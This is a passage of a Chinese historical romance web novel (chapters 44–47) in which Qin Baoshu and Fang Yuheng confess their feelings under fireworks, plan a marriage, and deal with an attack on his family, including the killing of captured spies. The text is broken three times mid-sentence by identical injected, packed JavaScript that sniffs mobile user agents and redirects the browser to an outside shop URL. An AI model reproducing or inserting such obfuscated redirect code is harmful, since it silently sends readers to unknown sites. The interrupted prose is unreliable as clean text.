不过这回他没敢大大咧咧直接进她闺房,而是站在窗户后,敲开她窗户,可怜兮兮地看着她。 “姝妹妹见我好几回,都不理我,你为何生我气?” 秦宝姝见着他,唯有叹气:“没有生气,表哥多想了。” “那我们出去逛街吧,喊上兄长和其他妹妹。”冯正铭眼巴巴地瞅着她,好像她要开口拒绝,就能哭给她看。 秦宝姝沉默了片刻,摇摇头:“表哥知道我现在满身是非,外祖母不让我出门去,所以表哥就不用算我的份了。” 这句话落,秦宝姝以为冯正铭起码会再叨叨几句说服她,结果他只是笑了笑。 “我把这事给忘了,那等事情过了,我们再一块出去玩。” 说完,也不用秦宝姝赶,他居然就走了,骑在墙头的时候,还回头笑容灿烂朝她挥挥手。 车雪晴虽然进府晚,但听拂风说过冯正铭的性格,那不是轻易能打发的混世魔王,脱口就道:“姑娘,反常必有妖!” 秦宝姝一愣,车雪晴后脑勺就挨了拂风轻轻的一巴掌。 拂风:“可别给姑娘添心思了,乱说什么。” “她说得也不是没有道理,该赏,我们灵光的脑袋瓜子可不能打傻了。”秦宝姝捂着嘴笑。 车雪晴就得了六颗金瓜子,开心得又笑又跳,跟个小孩似的。边上的汪箐羡慕得眼珠子都快黏她金瓜子上了。 这两天方瑀珩似乎格外的忙,每日都是踩着要宵禁的点从阁老府回到伯府,但小灰的信早晚必按着时辰送到秦宝姝手里。 到了约定的日期,秦宝姝倒没瞧见小灰来敲窗户,还有点不习惯。 等了半个早上,再让汪箐去打探消息,砚书说方瑀珩昨夜刚回府里,就又被阁老喊走,到现在还没回来。 等到了下午,陈叔把她要的烟火带来,好奇地说:“姑娘要把这些放哪里?这些烟火不比升天炸开的那种,离得近了要被灼伤的,姑娘得小心些。” 秦宝姝就指挥着丫鬟把烟火都放到自己设定的地点,高高兴兴说没有问题。 在她继续跟着陈叔学经商的时候,砚书偷摸过来一趟说方瑀珩回来了,倒头就睡,但睡前看到她留的字条了,说一定会准时赴约。 累得居然连回信的功夫都没有。 秦宝姝免不得好奇:“他在阁老府里受虐待了?” “好像是阁老忽然高热,公子昨夜熬一宿,在阁老床前伺候呢。” 师恩如山似海,如若他不在跟前,以后恐怕也会有人拿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971556|135573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说事。 秦宝姝就安心地继续发愤图强,终于等到了天黑,一顿晚饭都用得急急忙忙,然后就让架起火炉坐在庑廊下等人。 方瑀珩来到的时辰和约定的分毫不差,见到他利落从墙头翻下时,她抿嘴笑:“举人老爷很有当采花贼的潜力。” “我以为是送上门来的花。” 几日不见,他那张嘴还是不饶人,秦宝姝骂他:“你真会给自己脸上贴金。” 他唇边啜着笑,在她早准备好的椅子坐下,看到小桌上摆着糕点,小炉里还温着酒。 他手一指炉子:“姝表妹都准备酒要灌醉我了,我难道还不是送上门来?” 这人就仗着自己长得好看才敢大言不惭,秦宝姝睨他一眼,拎着酒壶给他倒酒。 晴朗的夜,繁星耀眼,她顾盼间的风情更是动人心。方瑀珩感觉自己的魂都要被她那一眼给勾走了。 他望着斟满的酒,并不动,而是笑吟吟地说:“酒先不忙喝,我怕秦姑娘蒙混过关。” 秦宝姝就又睨他一眼,嘟囔着:“你这人,一点也不懂风情!我又不能跑,怎么蒙混过关。” 然而他不为之所动,只是静静地望着她,目光灼灼。 秦宝姝好不容易平复下来的心跳,又开始乱了。 “你不喝!我喝!”她端起自己的酒杯,在他来不及阻拦下,一口把酒闷了。 她呛得直咳嗽,方瑀珩无奈,起身上前给她轻轻拍背顺气,正要开口说什么。 她红着脸,顺势就靠了过去。 美人入怀,方瑀珩动作有一瞬的僵硬,然后又若无其事地说:“你这是先准备灌醉好蒙混过关啊。” “没有,我这叫壮胆……”秦宝姝闭上了眼,鼻子在发酸,但她不能再回避了,“方瑀珩,如若我说,名分这事要等到你高中,入仕了……我才能给,你会生气吗?” 话落,她就感受到帮自己顺气的手掌停在后背,就那么安安静静地贴着她的脊椎,一动不动。 “老夫人的要求?” 方瑀珩把手轻轻搭在了她的肩头,终于明白她为何要壮胆了,恐怕要求不止这一个。 秦宝姝点点头,咬咬牙,睁开双眼,仰着头和他对视:“而且,外祖母说,如若明年会试不中,她就要把我许配给别人。” 相当于,他只有一次的机会,而且,也是对他的一种羞辱。 即便他高中了,这些为难都会成为以后他心里的一根刺。 方瑀珩一张脸顿时沉了下去,秦宝姝看着他脸上的愠色,一颗心也跟着沉了下去。 她心慌得难受,下意识抓住他袖子,还想说什么。砚书却在这时闯了过来,急急忙忙道:“公子,出事了!” 方瑀珩不得不先转过身,往后走了两步,听砚书禀报。 秦宝姝垂眸看着他的袖子在手里滑走,眼眶酸胀难忍。方瑀珩那边越听脸色越发难看,拧着眉重新来到她跟前,说了声抱歉:“我先去处理一些事,半个时辰,我宵禁前一定回来。” 秦宝姝点点头,盯着他离开的背影,眼泪终于滚落下来。 拂风这才从屋内出来,扶她起来:“姑娘先别哭,这也不是姑娘的错,表公子不是说了,他一定回来吗?” “可他已经生气了。”秦宝姝声音低低的,带着一丝的茫然,让拂风听得直心疼。 是啊,方瑀珩那般傲气又有才华的人,为何要一而再地受冯家的为难呢?老夫人提出这个要求,不但是在为难方瑀珩,也是在为难她们姑娘,实则是想让她们姑娘自己知难而退! 拂风心里也跟着不安起来,怪不得她们姑娘这几日总神不守舍。 45. 第 45 章 方瑀珩一路出了伯府,去的不是别处,正是唐宅。 马车里,是半路悄悄上来的琴书,做着普通妇人的装扮,脑后的圆髻簪着银色发簪,衣摆上的血迹在诉说着先前不久经历一场打斗。 她偷偷看了眼方瑀珩冷着的一张脸,自责道:“夫人和老爷早发现那些人,是老爷说没必要打草惊蛇,就放任他们在宅子外蹲哨。” “哪知今夜忽然就朝屋内甩了暗器,夫人本能是要躲的,却想起不能暴露自己会拳脚功夫,硬生生挨了那飞镖。” 说到这里,方瑀珩脸色已经不能叫难看了。 “我等失职,还请公子责罚。”琴书低下头去。 方瑀珩问:“都收拾干净了?” 琴书点头:“是。老爷担心动手会对公子和姑娘谋划的事有影响,硬是压着脾气,先给夫人治伤。我们收到您的传书,直接就先动手了,不然公子这会过去,必定会暴露。” 方瑀珩听闻后,一直沉默着没有作声,到了唐家,他快步来到正房,就见到丫鬟端着一盆血水出来。 浓重的血腥味道让他眼尾染了寒霜,眼神倏然凌厉。 “儿子来晚了。”他站在门外,没有直接入内。 唐老爷说一声进来罢,他才提着袍摆疾步进屋。 唐夫人伤着左肩,暗器往下两寸就是心脏,如今已经包扎好,有衣裳遮挡根本看不见那凶险的伤处。 而暗器上绑着一张字条,写着唐家派往西南送信的人已经被他们截杀,警告他们不允许再插手傅家的事,否则就要唐家人都命丧黄泉。 方瑀珩来到床边,见娘亲脸色惨白,但还强撑着精神扯出笑。他无声拱手一礼,转身就又要出去。 “回来,急急忙忙地又干嘛去!” “审人。” 唐夫人忙喊停他,他脊背绷得笔直,淡淡一句让唐夫人是真的笑了。 “你小子,人都被你抓起来,还担心他们跑了不成。你的要紧事处理完了?这就跑过来,明儿再来审也不要紧。” “没有,夜长梦多。”方瑀珩的回答还是简单一句话。 但唐夫人知道,儿子心里是窝着火的,声音更温柔了:“他们非要惊动你,我们又不是不能处理,也不是非要今晚就动手。你就这么跑了,人家姑娘要伤心的。” “我回去就跟她坦白,没有他们伤了您,还让他们在你们跟前耀武扬威的道理。她事后若知道,是因为处理傅家的事让您伤着,我不来,她只会更自责。” 唐老爷听到这儿冷哼一声:“就你爱拿主意!当初非要只身先潜入京城,怎么劝都不行,然后就自己偷偷跑了!既然藏了那么多年,如若你现在暴露了,不就白藏了!” “他们只会认为是你们那个加入教派的儿子在京城,顶多围了你,群攻而起,而不是来怀疑我。” 方瑀珩用父亲添油加醋干的好事堵了回去,唐老爷被噎得嘴角一抽。 他是利用唐公子的名义救助过百姓,但他本人并不在场,结果他父亲玩一出替身计。他就那么声名鹊起了。 “你都回来处理了,他们还能围老子?!”唐老爷翻了个白眼,方瑀珩啧一声,“别用那么老套的激将法。不过真让他们再围了你,确实是我无能。” 他话音还未落,人已经出了正房,唐夫人疼得难受,还是被父子斗嘴的场面笑出声。 唐老爷忙转过来妻子:“可别笑了,一会再牵动伤口,还是自个受罪。” 说话的时候,他目光落在妻子下巴连到脖子的烧伤,喃喃了一句:“这怎么不叫新仇旧恨?老子算计了我们,他的儿子又伤了你。” “所以,他心里有火,就叫他发泄发泄吧,就是儿媳妇那边……”唐夫人担忧着。 “回头他真被甩了,我再腆着老脸去求她给个机会,我这老子当得,怎么跟个孙子似的!” 唐老爷惆怅,唐夫人只想笑,去握了他手,温柔地说:“他如若不是想孝顺你,又怎么能只身一人闯京城,孤零零在外头一待就是十年,你不能占了便宜还卖乖。” 唐老爷是不屑地啧一声,那表情和方瑀珩刚才如出一辙,不过他眼底浮荡的是笑意。 方瑀珩出了正房,漫步来到院子后那排后罩房,砚书和琴书就在门口守着,内里有着利刃破开皮肉和鞭打的声音。 砚书见他拱手道:“嘴硬,不招。” “留一个,其余都杀了。”他抬头看天空,月色幽幽,和他眼底的戾气交织出森然杀意。 砚书姐弟俩相视一眼,随后推门进去了。 不过片刻,姐弟俩又从屋内出来,砚书问:“公子要亲自审?” 方瑀珩颔首,砚书立刻进屋去,随意从尸首身上撕下布块,把那个人的脑袋都给包了起来,蒙得严严实实。 待砚书再出来,方瑀珩才进了屋。 屋内是浓郁的血腥味,地上横着六具尸体,他看也没看,直接来到那个已经被吓尿的‘幸存者’跟前,抬脚就踩在那人胸口。 只听咔嚓响,一脚竟是不知道踩碎了那人几根肋骨。 他居高临下睨着脚下发抖的探子,冷声道:“回去告诉你家主子,傅家必须偿命,敢再伤一人,皇帝案头立马就会有密报送到。他在漕运和去岁的冬赈灾款做的手脚,可不是只有天知地知,让他想清楚,是先自保还是要保傅家。” 那人就蒙着头,被丢出唐家。松绑后,他头也不敢回,连滚带爬离开唐家所在胡同,给主子报信去了。 然而紧赶慢赶,方瑀珩回去的时候,还是过了宵禁点。 秦宝姝自他离开后就心里忐忑,一会儿就出屋来庑廊下的小桌前站着等一会,然后再被拂风劝进去,如此反复。 屋内的西洋钟一圈圈转动,直到胡同里隐约的打更声传入耳中,她眼里的期盼也随之散去。 拂风见她呆呆地出神,心疼得不知该如何劝慰。 就当拂风以为她该彻底失望和伤心的时候,她却又站了起来,抱着手炉再次来到庑廊下。 “加点炭,火快灭了。”她指了指炭炉,又指向糕点,“也把这些都换一换,都冻硬了,不好吃了。” 她故作轻松地笑着,声音却在发抖,拂风就冲了过去一把抱住她。 “姑娘,你要难受就哭一哭,奴婢跟您一块等,表公子不会言而无信。” 哪怕方瑀珩最后不愿意再被为难,要辜负她们姑娘,也该回来说个清楚吧! 拂风心里做着最坏的打算。 秦宝姝用手背擦去眼角的湿意:“是啊,他一定会回来,所以,我为什么还要哭。” “其实换我,我也会生气。先是被莫名地丢一边不理会,中间又被招惹,招惹后却给不到应有的承诺,谁不生气啊……” “就是我穿得那么好看,他见到了也没有夸一声。” 她已经开始胡言乱语起来,拂风更是心疼得直掉眼泪。一边的车雪晴和汪箐听得生了冲动,很想去把方瑀珩给找出来,提溜到她们姑娘跟前。 正是想着,汪箐耳朵动了动,听到了什么动静。 然后她们就看到想找的人到了,翻过墙头,还朝她们比了个噤声的手势。 她们就那么看着他,一路上了庑廊,在拂风震惊的表情中示意她松手。 拂风看了一眼低头望着脚尖、什么都没察觉的少女,到底是慢慢松开了手。 秦宝姝呢,越说越难过,声音都哽咽起来:“他一开始也没生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983623|135573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气啊,为什么不夸我一句,就是生气了,像以前一样骂我两句我也受着。” 方瑀珩听着她委屈地哭诉,心尖都要化了,眼角眉梢的戾气散得干干净净。 他将站在冷风里的少女拥进怀里。 “该挨骂的是我,我回来晚了。” 他的声音和凉凉的夜风交织在一起,灌入她耳中,她有一瞬的恍惚,以为自己幻听了。 直到抬起泪汪汪的一双杏眸,被他用指尖拭去泪珠,看清他的面容,她才从恍惚中彻底回神。 他见终于她认出自己,那双被泪水冲刷过的眼眸如此清澈,把她的欢喜无比赤|裸的都呈现出来。 她的感情如此纯粹,不加遮掩。 方瑀珩这一刻好想去亲吻她眼眸,但知道会唐突了她,他的唇就落在了她头发上。轻轻地,像飘落水面的羽毛,一触即离,轻得秦宝姝都不曾察觉,但这样一吻,已足够抚慰他的冲动。 “抱歉,耽搁了片刻,我一会再给你解释。我们继续说名分的事。” 他低头凝视着她的眼眸,秦宝姝眸光一闪,神色慌乱,一时不知要怎么开口。 方瑀珩就笑了,盛满笑意的凤眸清晰倒映着她的面容。 “你不用自责,也不要难过,老夫人考验的人是我,不该你来承受她给到的为难。”他实话实说,“我确实生气了,却不是生你的气。是气你的外祖母,我曾经和她说过,不要伤了你的心。” “可她却用这种方式来逼你做抉择,让我很生气。” 他说很生气的时候,感受到怀里的人轻轻抖了一下,他手臂就用了些力道,把她抱得更紧一些,然后把她脑袋就直接摁在胸膛上。 “秦宝姝,你听好了,我在意的也不是名分,而是你的意愿。只要你愿意说,我们在一起吧,不管发生什么事,我都不会让你再单独一个人。” 秦宝姝耳边是他有力的心跳声,她闭上了眼。 他的承诺与说话声在胸腔中共鸣,传入她耳朵里,也像是击中了她的心。 她的心跳就那么乱了,而且,她听见他一颗心似乎也不怎么平稳,那跳动的节拍不比她的慢。 原来,面上总是云淡风轻,没事还爱呛她几句的方瑀珩……也会紧张。 她双手环过他的腰,仰头和他对视。 不知道是不是光线有点暗,她好像看到他耳朵是染了一层红色。 她抿唇,想笑,可眼泪却先落了下来。 她听到自己带着哭腔的声音说:“这是你说的,从今以后,我就赖你一辈子了。方瑀珩,我们不管遇到什么困难,都要在一起,一起去面对!” 烟火,也在这一瞬从四面亮起,像是金色的泉水喷涌,光柱直抵屋檐,炫耀夺目,把他们围在中间。 方瑀珩诧异地看着亮起的烟火,在惊讶中笑容又一点点从他凤眸蔓延,直至眼尾。 他倾身在她耳边说:“卿卿比烟火更动人。” 秦宝姝一愣,下刻神气道:“那是自然!我再告诉你个秘密……” 她拥抱着他,笑容明媚。 “我偷偷在外头买好宅子,如若外祖母不同意,要把我扫地出门,我就自立门户!” 所以,她这几日在努力跟着陈叔学本事,是为了他们的往后做准备。 方瑀珩就感觉胸腔都在发胀,被她填得满满当当。 秦宝姝松开他手,提着裙摆高兴地在他面前转圈:“好看吗?!我的新裙子!” 少女在绚丽的光影中轻盈如蝶,一颦一笑都被方瑀珩珍而重之地收入记忆里。 “好看。” 他由衷道。 这是人世间最好的姑娘,而这姑娘说了,要他陪着过一辈子。 46. 第 46 章 烟花绚丽,却总是有熄灭的时候。 方瑀珩和秦宝姝周围又恢复了寒夜的冷清,只有庑廊下两盏灯笼在风中慢慢打着璇儿,摇曳的光影将依靠一起的两个身影拉得长长的。 秦宝姝裹着披风,和他并肩坐在台阶上,头枕在他肩膀,杏眸时不时就瞥他一眼。 靠近了看他,他眼尾总带着的锋芒会被柔化,她总以为平直严肃的唇角,其实是会有浅浅的弧度。 只是远了,这种细微的变化就会被人忽略,会被他锐利的一双凤眼抢去所有的注意力。 她看着看着,扑哧就笑了。 方瑀珩垂眸睨她一眼:“又没收你银子,想看就正大光明地看。” “就是收银子,我的产业也够看一辈子的。” 说完她就捂嘴笑,像是偷到糖的孩童,想要压抑高兴,又藏不住地暴露了。 庑廊下的灯没能照亮她的脸庞,但她杏眸内的光芒亮得宛如辰星,古灵精怪的模样可爱极了。 方瑀珩没忍住伸出胳膊,把她往怀里拥了拥。 她微微一僵,顺势靠得更近了,鼻尖是他多年不变的松雪淡香,让她感到安心。 他低声说了句:“风好像越来越大了。” 为自己亲密的动作找了个借口,把她逗得又是一阵好笑。 这人总是心口不一啊。 “珩表哥,你怎么不问问我买的宅子在哪里,又是什么样的?”秦宝姝捏着两根手指,轻轻拽他衣襟。 方瑀珩这才又低下头,配合地说:“不管买的哪儿,都是最好的。” “我终于知道为何阁老会喜欢你,你还是很会拍马溜须的。”她对这样的回复不满意,嫌弃地戳了他胸膛两下。 纤细的手指,嫩白的指尖,戳在他身上,仿佛是戳在他心尖,引起一阵不可说的血气激涌。 他不动声色去握住她作乱的手腕,然后把她手放回她的膝盖上。 “我不轻易奉承别人。”他神色淡淡的,说的话却那么不可一世。 秦宝姝又笑倒在他身上:“这么说,我多荣幸啊。” 笑过后,她仰头去看他,表情认真无比。 “宅子就在皇城附近,其实我盯着他家很久了,终于等到他们都熬不住要搬迁回祖籍,我就毫不犹豫下手了!” “它原来的主人官拜四品,积攒几代才攒了这么个宅子,虽然是三进,但比伯府小了有两倍。但我们暂时住着也够用了。” “主要还是离皇城近,不用跟大舅舅一样,得提前一个多时辰起身,然后再去上朝。你能多睡一会儿。” 她把他都规划到了选宅子的理由里,方瑀珩终于明白为何父亲总爱听母亲事无巨细地给他安排,原来被一个人放进她重要的人生里,让他参与其中,是如此叫人欢喜。 欢喜得他几乎失语。 “还有呢。”他缓了片刻,声音有些沙哑。 秦宝姝不曾察觉,对着幽幽的月光笑,挥动手臂比划:“我一直想要个大池子,不是养鱼的池子!是夏日能泡里头纳凉的池子!” “我看过你的画,到时候你就给我在宅子里,找一处地方,造那么一个池子!” 便是如何布局,也把他囊括在内了。 “然后就是你的书房了。你看看想设在什么位置,是前院,还是靠后宅近一些。” “以后你肯定有幕僚吧,还有同僚来做客,前厅的摆设你看着办,后面的花厅我自己来。” 她越说眼眸越亮,是对美好的未来的憧憬。 “等按着我们的想法重新修缮之后,我们就在那儿成亲吧。”她忽然就低声下去,脑袋也跟着低了下去,不好意思跟他对视。 一个姑娘家,提自己的亲事,能说出口就已经莫大的勇气了。 她知道自己肯定连耳朵都红了。 方瑀珩一愣。 这一夜,她给了他太多的冲击,每一下都正中他心脏,把整颗都填得满满的。那种压在心头上沉甸甸的幸福感,让他甚至都产生了怀疑,他真的就拥有一切了? “我这算不算软饭硬吃?”他抿唇笑,凤眸里是她快要缩成一团的身影,“你好歹给我留个机会,让我提个亲吧。” 秦宝姝在他笑声中脸更红了,声音小得跟蚊子一样:“我只说成亲,没说提亲,这不是就在提醒你吗?” 方瑀珩听着她自洽的解释,确实也能说得通,却还是想笑,只能清咳一声,压下笑意。 “好,等会试过后,我就提亲。” 哪知秦宝姝不愿意:“你是不是傻!” 她猛地抬头,眉心正好蹭在他唇角,温热柔软的肌肤接触,让两人都愣了。 秦宝姝好半会才反应过来,又把脑袋低了下去,心脏怦怦的,好像快要从嗓子眼跳出来了。 她抿唇,深吸一口气,才声音颤颤地继续往下说:“我都买宅子了,还要等什么会试!你不用担心祖母那儿,她是为我好,可决定的事却不是完全的正确。” 方瑀珩想说什么,她却不给机会,一口气往下说。 “那日我跟她坦白了,我说我要嫁你,请她成全。她说……她说你心机深沉,未必适合我。”说到这儿,少女声音就哽咽了。 方瑀珩眼眸沉了下去,知道冯老夫人是指他处理冯正林和盛三的手段。 秦宝姝每每想起外祖母对方瑀珩这种指责就心里难受,她吸了吸鼻头,“可温和也好,残忍也好,那都是为了保护我。我不认为这叫心机深沉,而是同样堵上了你的仕途!外祖母怎么可以只看一面呢?” 如若事败,成为阶下囚的就是方瑀珩。 这种守护,和舍命有什么区别。 方瑀珩知道她是个通透的人,却不承想,她除去通透,还有比自己想的更有勇气去面对现实里的残酷。 “老夫人害怕的是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984524|135573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我干的事最后还是被人揭发,到时候就会连累你一辈子。”他去捧起她的脸,看见她留下的泪痕,心里酸涩难忍,“你害怕吗?” 她闭着眼摇头,还是不太愿意被他看见自己哭的模样。 “不害怕,有个不顾一切护着我的人,我为什么还要害怕。” “那你怎么不睁开眼睛看我?” 他离她更近了些,声音就像是在她耳边呢喃,秦宝姝瑟缩了一下,还是慢慢睁开双眼。 她就看见他温柔地笑,以及他缓缓靠近,唇落在了她还带着泪水的眼角。 这一瞬间,秦宝姝以为自己失聪了,天地好像也旋转着。 她眼前发晕,而他的气息和温热的唇就是罪魁祸首,让她紧张,让她震惊,又让她心底有无尽的欢喜涌了上来。 方瑀珩吮去她眼角的泪珠,嘴里是微微咸涩的味道。 “我也有你护着,所以我不害怕老夫人的考验,你只管安心等着会试放榜。放榜之日,我去向你外祖母提亲。” 秦宝姝的眼泪就更收不住了,伸手抱着他脖子一顿好哭。 她哭是因为他一次次为了自己而退让,也是这些日子积攒的情绪有了宣泄口。 方瑀珩轻轻给她拍背顺气,任她眼泪落入自己的领口,烫得那一块皮肤如同被洛铁烤过。 这几日,她不知是怎么煎熬过来的。 到最后,秦宝姝哭得昏昏欲睡,跟小猫儿一样就蜷缩在他怀里。 方瑀珩看她这困顿的模样,就把唐家今日发生的事暂压下不提,说了她又一夜睡不好,还是得先让她养好精神。 他把她横抱起来,进了她的闺房,把她放在床上,细心地解开她披风。 秦宝姝确实困得有点迷糊了,见他要转身走,伸手又去拽他袖子。 他无奈,余光扫见在边上虎视眈眈的拂风,弯腰去揉了揉她头发。 “我该走了,不然你的丫鬟要把我生吞了。” 方瑀珩的话让她清醒了那么一些些,可还是不太舍得撒手,惹得他轻笑一声,俯身在她耳边说:“你是考验我的定力,还是低估了自己的魅力?没有男人在喜欢的姑娘闺房里,不产生旖旎的心思……” 他的笑声包含了许多,听着就不太正经,更别提他说得有多直白。 秦宝姝的手指就像被火烫了一样,松得那一个叫快,然后一掀被子,把自己整个人都裹了进去。 方瑀珩在‘小山包’前又是笑一声,这才快步离开。 等出了小院,外头站岗的砚书就跟了过来,在他耳边低声说:“公子……您瞧瞧左边的小道口……” 方瑀珩想到什么,视线不偏不倚,正好就落在那快融入黑暗的身影。 然而他只是一瞥,就挪开目光抬步离开。 瞧见了更好,省得日后再诸多纠缠。 方瑀珩径直离去,留下几乎冻僵在暗夜里的少年。 47. 第 47 章